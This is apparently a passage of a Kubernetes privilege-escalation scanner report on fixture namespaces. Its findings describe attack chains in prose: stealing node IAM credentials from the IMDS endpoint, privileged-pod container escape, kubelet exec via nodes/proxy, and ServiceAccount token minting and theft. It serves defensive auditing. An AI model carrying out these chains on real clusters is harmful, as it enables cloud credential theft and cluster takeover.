    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod pv-hostpath-fixtures/pv-hostpath-app-5bb7f7676-js9zg falls back to node IAM role via IMDS
CRITICAL ServiceAccount/rbac-fixtures/sa-cluster-admin node root (container escape) score 9.4 1 hop View finding →

ServiceAccount `sa-cluster-admin` in namespace `rbac-fixtures` reaches node root (container escape) in 1 hop via Migrate pods onto an attacker node.

  1. Migrate pods onto an attacker node node_drain_migrate

    delete pods combined with cluster-scoped node control (update/patch on nodes/status, or delete nodes) lets an attacker cordon or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/rbac-fixtures/sa-cluster-admin
    Permission granted delete pods + node scheduling control
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
CRITICAL ServiceAccount/rbac-fixtures/sa-impersonate node root (container escape) score 9.4 1 hop View finding →

ServiceAccount `sa-impersonate` in namespace `rbac-fixtures` reaches node root (container escape) in 1 hop via Steal node IAM role via IMDS.

  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/rbac-fixtures/sa-impersonate
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod rbac-fixtures/imp-app-5f78d6bb9d-9xhpd falls back to node IAM role via IMDS
CRITICAL ServiceAccount/rbac-fixtures/sa-nodes-proxy node root (container escape) score 9.4 1 hop View finding →

ServiceAccount `sa-nodes-proxy` in namespace `rbac-fixtures` reaches node root (container escape) in 1 hop via nodes/proxy → kubelet API.

  1. nodes/proxy → kubelet API nodes_proxy

    The nodes/proxy subresource forwards requests to the kubelet on each node. Combined with kubelet's /exec endpoint and a WebSocket verb mismatch, this becomes a primitive for executing commands inside any pod the kubelet can reach.

    From ServiceAccount/rbac-fixtures/sa-nodes-proxy
    Permission granted get nodes/proxy
    Gives the attacker can reach kubelet API via nodes/proxy WebSocket verb confusion
CRITICAL ServiceAccount/rbac-fixtures/sa-pod-create node root (container escape) score 9.4 1 hop View finding →

ServiceAccount `sa-pod-create` in namespace `rbac-fixtures` reaches node root (container escape) in 1 hop via Create a privileged pod and escape to the node.

  1. Create a privileged pod and escape to the node pod_create_privileged_escape

    RBAC never inspects pod contents, only the create verb. When the target namespace has no restrictive Pod Security Admission enforce label, an attacker who can create pods sets privileged: true, hostPID, or a hostPath mount of / and breaks out to the node. Baseline or Restricted enforcement would block this and limit the risk to token theft alone.

    From ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted create pods (Pod Security Admission does not block privileged)
    Gives the attacker can create a privileged pod that escapes to the node
CRITICAL ServiceAccount/rbac-fixtures/sa-wildcard node root (container escape) score 9.4 1 hop View finding →

ServiceAccount `sa-wildcard` in namespace `rbac-fixtures` reaches node root (container escape) in 1 hop via Migrate pods onto an attacker node.

  1. Migrate pods onto an attacker node node_drain_migrate

    delete pods combined with cluster-scoped node control (update/patch on nodes/status, or delete nodes) lets an attacker cordon or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/rbac-fixtures/sa-wildcard
    Permission granted delete pods + node scheduling control
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
CRITICAL ServiceAccount/secrets-bundle/cross-ns-reader node root (container escape) score 9.4 1 hop View finding →

ServiceAccount `cross-ns-reader` in namespace `secrets-bundle` reaches node root (container escape) in 1 hop via Steal node IAM role via IMDS.

  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/secrets-bundle/cross-ns-reader
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod secrets-bundle/cross-ns-consumer-6c945c9c9d-jfxxn falls back to node IAM role via IMDS
CRITICAL ServiceAccount/vulnerable/default node root (container escape) score 9.4 1 hop View finding →

ServiceAccount `default` in namespace `vulnerable` reaches node root (container escape) in 1 hop via Container escape to host.

  1. Container escape to host pod_host_escape

    The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

    From ServiceAccount/vulnerable/default
    Permission granted hostPID,hostIPC
    Gives the attacker runs in pod vulnerable/host-ns-app-7cb46d5788-zqfcp with hostPID, hostIPC
CRITICAL ServiceAccount/vulnerable/privileged-reader node root (container escape) score 9.4 1 hop View finding →

ServiceAccount `privileged-reader` in namespace `vulnerable` reaches node root (container escape) in 1 hop via Create a privileged pod and escape to the node.

  1. Create a privileged pod and escape to the node pod_create_privileged_escape

    RBAC never inspects pod contents, only the create verb. When the target namespace has no restrictive Pod Security Admission enforce label, an attacker who can create pods sets privileged: true, hostPID, or a hostPath mount of / and breaks out to the node. Baseline or Restricted enforcement would block this and limit the risk to token theft alone.

    From ServiceAccount/vulnerable/privileged-reader
    Permission granted create pods (Pod Security Admission does not block privileged)
    Gives the attacker can create a privileged pod that escapes to the node
CRITICAL ServiceAccount/privesc-fixtures/sa-ephemeral node root (container escape) score 8.9 2 hops View finding →

ServiceAccount `sa-ephemeral` in namespace `privesc-fixtures` reaches node root (container escape) in 2 hops via Ephemeral container injection → Steal node IAM role via IMDS.

  1. Step 1 of 2 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeralServiceAccount/flat-network/default
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount flat-network/default
  2. Step 2 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/flat-network/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod flat-network/api-55d9f69c7d-xjctl falls back to node IAM role via IMDS
CRITICAL ServiceAccount/privesc-fixtures/sa-pod-exec node root (container escape) score 8.9 2 hops View finding →

ServiceAccount `sa-pod-exec` in namespace `privesc-fixtures` reaches node root (container escape) in 2 hops via Pod exec → container takeover → Steal node IAM role via IMDS.

  1. Step 1 of 2 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/privesc-fixtures/sa-pod-execServiceAccount/cloud-eks-test/default
    Permission granted create,get pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount cloud-eks-test/default
  2. Step 2 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/cloud-eks-test/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod cloud-eks-test/imds-pivot-app-68cfbfc794-f4lh7 falls back to node IAM role via IMDS
CRITICAL ServiceAccount/rbac-fixtures/sa-token-create node root (container escape) score 8.9 2 hops View finding →

ServiceAccount `sa-token-create` in namespace `rbac-fixtures` reaches node root (container escape) in 2 hops via TokenRequest minting → Migrate pods onto an attacker node.

  1. Step 1 of 2 TokenRequest minting token_request

    The create verb on serviceaccounts/token mints a fresh, valid token for any ServiceAccount in scope, with no pod required. Cleaner than the pod-creation route and harder to spot in audit logs.

    From ServiceAccount/rbac-fixtures/sa-token-createServiceAccount/rbac-fixtures/sa-cluster-admin
    Permission granted create serviceaccounts/token
    Gives the attacker can mint tokens for ServiceAccount rbac-fixtures/sa-cluster-admin
  2. Step 2 of 2 Migrate pods onto an attacker node node_drain_migrate

    delete pods combined with cluster-scoped node control (update/patch on nodes/status, or delete nodes) lets an attacker cordon or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/rbac-fixtures/sa-cluster-admin
    Permission granted delete pods + node scheduling control
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
→ namespace-admin

7 paths to namespace-admin

4 high 3 med
HIGH ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate namespace-admin score 7.6 1 hop View finding →

ServiceAccount `sa-ns-rolebinding-mutate` in namespace `rbac-ns-fixtures` reaches namespace-admin in 1 hop via RoleBinding write access.

  1. RoleBinding write access modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to any role, typically cluster-admin. They don't need the role's permissions today, only the ability to change bindings.

    Scope matters. Granted at cluster scope (via a ClusterRoleBinding, or with cluster-wide reach on rolebindings) the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create,update,patch rolebindings
    Gives the attacker can create or mutate RoleBindings in namespace rbac-ns-fixtures to grant itself any role within rbac-ns-fixtures
HIGH ServiceAccount/rbac-fixtures/sa-pod-create namespace-admin score 7.1 2 hops View finding →

ServiceAccount `sa-pod-create` in namespace `rbac-fixtures` reaches namespace-admin in 2 hops via Pod creation → ServiceAccount token theft → RoleBinding write access.

  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-createServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate
  2. Step 2 of 2 RoleBinding write access modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to any role, typically cluster-admin. They don't need the role's permissions today, only the ability to change bindings.

    Scope matters. Granted at cluster scope (via a ClusterRoleBinding, or with cluster-wide reach on rolebindings) the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create,update,patch rolebindings
    Gives the attacker can create or mutate RoleBindings in namespace rbac-ns-fixtures to grant itself any role within rbac-ns-fixtures
HIGH ServiceAccount/rbac-fixtures/sa-token-create namespace-admin score 7.1 2 hops View finding →

ServiceAccount `sa-token-create` in namespace `rbac-fixtures` reaches namespace-admin in 2 hops via TokenRequest minting → RoleBinding write access.

  1. Step 1 of 2 TokenRequest minting token_request

    The create verb on serviceaccounts/token mints a fresh, valid token for any ServiceAccount in scope, with no pod required. Cleaner than the pod-creation route and harder to spot in audit logs.

    From ServiceAccount/rbac-fixtures/sa-token-createServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create serviceaccounts/token
    Gives the attacker can mint tokens for ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate
  2. Step 2 of 2 RoleBinding write access modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to any role, typically cluster-admin. They don't need the role's permissions today, only the ability to change bindings.

    Scope matters. Granted at cluster scope (via a ClusterRoleBinding, or with cluster-wide reach on rolebindings) the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create,update,patch rolebindings
    Gives the attacker can create or mutate RoleBindings in namespace rbac-ns-fixtures to grant itself any role within rbac-ns-fixtures
HIGH ServiceAccount/vulnerable/privileged-reader namespace-admin score 7.1 2 hops View finding →

ServiceAccount `privileged-reader` in namespace `vulnerable` reaches namespace-admin in 2 hops via Pod creation → ServiceAccount token theft → RoleBinding write access.

  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/vulnerable/privileged-readerServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate
  2. Step 2 of 2 RoleBinding write access modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to any role, typically cluster-admin. They don't need the role's permissions today, only the ability to change bindings.

    Scope matters. Granted at cluster scope (via a ClusterRoleBinding, or with cluster-wide reach on rolebindings) the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create,update,patch rolebindings
    Gives the attacker can create or mutate RoleBindings in namespace rbac-ns-fixtures to grant itself any role within rbac-ns-fixtures
MEDIUM ServiceAccount/privesc-fixtures/sa-ephemeral namespace-admin score 6.6 3 hops View finding →

ServiceAccount `sa-ephemeral` in namespace `privesc-fixtures` reaches namespace-admin in 3 hops via Ephemeral container injection → Pod creation → ServiceAccount token theft → RoleBinding write access.

  1. Step 1 of 3 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeralServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create
  2. Step 2 of 3 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-createServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate
  3. Step 3 of 3 RoleBinding write access modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to any role, typically cluster-admin. They don't need the role's permissions today, only the ability to change bindings.

    Scope matters. Granted at cluster scope (via a ClusterRoleBinding, or with cluster-wide reach on rolebindings) the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create,update,patch rolebindings
    Gives the attacker can create or mutate RoleBindings in namespace rbac-ns-fixtures to grant itself any role within rbac-ns-fixtures
MEDIUM ServiceAccount/privesc-fixtures/sa-pod-exec namespace-admin score 6.6 3 hops View finding →

ServiceAccount `sa-pod-exec` in namespace `privesc-fixtures` reaches namespace-admin in 3 hops via Pod exec → container takeover → Pod creation → ServiceAccount token theft → RoleBinding write access.

  1. Step 1 of 3 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/privesc-fixtures/sa-pod-execServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted create,get pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount rbac-fixtures/sa-pod-create
  2. Step 2 of 3 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-createServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate
  3. Step 3 of 3 RoleBinding write access modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to any role, typically cluster-admin. They don't need the role's permissions today, only the ability to change bindings.

    Scope matters. Granted at cluster scope (via a ClusterRoleBinding, or with cluster-wide reach on rolebindings) the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create,update,patch rolebindings
    Gives the attacker can create or mutate RoleBindings in namespace rbac-ns-fixtures to grant itself any role within rbac-ns-fixtures
MEDIUM ServiceAccount/privesc-fixtures/sa-pod-create-escape namespace-admin score 6.1 4 hops View finding →

ServiceAccount `sa-pod-create-escape` in namespace `privesc-fixtures` reaches namespace-admin in 4 hops via Pod creation → ServiceAccount token theft → Ephemeral container injection → Pod creation → ServiceAccount token theft → ….

  1. Step 1 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/privesc-fixtures/sa-pod-create-escapeServiceAccount/privesc-fixtures/sa-ephemeral
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount privesc-fixtures/sa-ephemeral
  2. Step 2 of 4 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeralServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create
  3. Step 3 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-createServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate
  4. Step 4 of 4 RoleBinding write access modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to any role, typically cluster-admin. They don't need the role's permissions today, only the ability to change bindings.

    Scope matters. Granted at cluster scope (via a ClusterRoleBinding, or with cluster-wide reach on rolebindings) the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create,update,patch rolebindings
    Gives the attacker can create or mutate RoleBindings in namespace rbac-ns-fixtures to grant itself any role within rbac-ns-fixtures
→ minted service-account tokens

9 paths to minted service-account tokens

9 high
HIGH ServiceAccount/privesc-fixtures/sa-secret-mint minted service-account tokens score 7.0 1 hop View finding →

ServiceAccount `sa-secret-mint` in namespace `privesc-fixtures` reaches minted service-account tokens in 1 hop via Mint a token via a legacy Secret.

  1. Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
HIGH ServiceAccount/rbac-fixtures/sa-cluster-admin minted service-account tokens score 7.0 1 hop View finding →

ServiceAccount `sa-cluster-admin` in namespace `rbac-fixtures` reaches minted service-account tokens in 1 hop via Mint a token via a legacy Secret.

  1. Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/rbac-fixtures/sa-cluster-admin
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
HIGH ServiceAccount/rbac-fixtures/sa-token-create minted service-account tokens score 7.0 1 hop View finding →

ServiceAccount `sa-token-create` in namespace `rbac-fixtures` reaches minted service-account tokens in 1 hop via Mint a token for any ServiceAccount.

  1. Mint a token for any ServiceAccount mint_arbitrary_token

    The create verb on serviceaccounts/token at cluster scope (without resourceNames) lets the holder mint a fresh, valid token for any ServiceAccount in any namespace. No pod creation or exec needed, and it leaves a thinner audit trail than the pod-mount route.

    From ServiceAccount/rbac-fixtures/sa-token-create
    Permission granted create serviceaccounts/token (cluster-wide)
    Gives the attacker can mint a service-account token for any ServiceAccount in any namespace
HIGH ServiceAccount/rbac-fixtures/sa-wildcard minted service-account tokens score 7.0 1 hop View finding →

ServiceAccount `sa-wildcard` in namespace `rbac-fixtures` reaches minted service-account tokens in 1 hop via Mint a token via a legacy Secret.

  1. Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/rbac-fixtures/sa-wildcard
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
HIGH ServiceAccount/privesc-fixtures/sa-ephemeral minted service-account tokens score 6.5 2 hops View finding →

ServiceAccount `sa-ephemeral` in namespace `privesc-fixtures` reaches minted service-account tokens in 2 hops via Ephemeral container injection → Mint a token via a legacy Secret.

  1. Step 1 of 2 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeralServiceAccount/rbac-fixtures/sa-wildcard
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-wildcard
  2. Step 2 of 2 Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/rbac-fixtures/sa-wildcard
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
HIGH ServiceAccount/privesc-fixtures/sa-pod-create-escape minted service-account tokens score 6.5 2 hops View finding →

ServiceAccount `sa-pod-create-escape` in namespace `privesc-fixtures` reaches minted service-account tokens in 2 hops via Pod creation → ServiceAccount token theft → Mint a token via a legacy Secret.

  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/privesc-fixtures/sa-pod-create-escapeServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount privesc-fixtures/sa-secret-mint
  2. Step 2 of 2 Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
HIGH ServiceAccount/privesc-fixtures/sa-pod-exec minted service-account tokens score 6.5 2 hops View finding →

ServiceAccount `sa-pod-exec` in namespace `privesc-fixtures` reaches minted service-account tokens in 2 hops via Pod exec → container takeover → Mint a token via a legacy Secret.

  1. Step 1 of 2 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/privesc-fixtures/sa-pod-execServiceAccount/rbac-fixtures/sa-wildcard
    Permission granted create,get pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount rbac-fixtures/sa-wildcard
  2. Step 2 of 2 Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/rbac-fixtures/sa-wildcard
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
HIGH ServiceAccount/rbac-fixtures/sa-pod-create minted service-account tokens score 6.5 2 hops View finding →

ServiceAccount `sa-pod-create` in namespace `rbac-fixtures` reaches minted service-account tokens in 2 hops via Pod creation → ServiceAccount token theft → Mint a token via a legacy Secret.

  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-createServiceAccount/rbac-fixtures/sa-cluster-admin
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount rbac-fixtures/sa-cluster-admin
  2. Step 2 of 2 Mint a token via a legacy Secret secret_mint_token

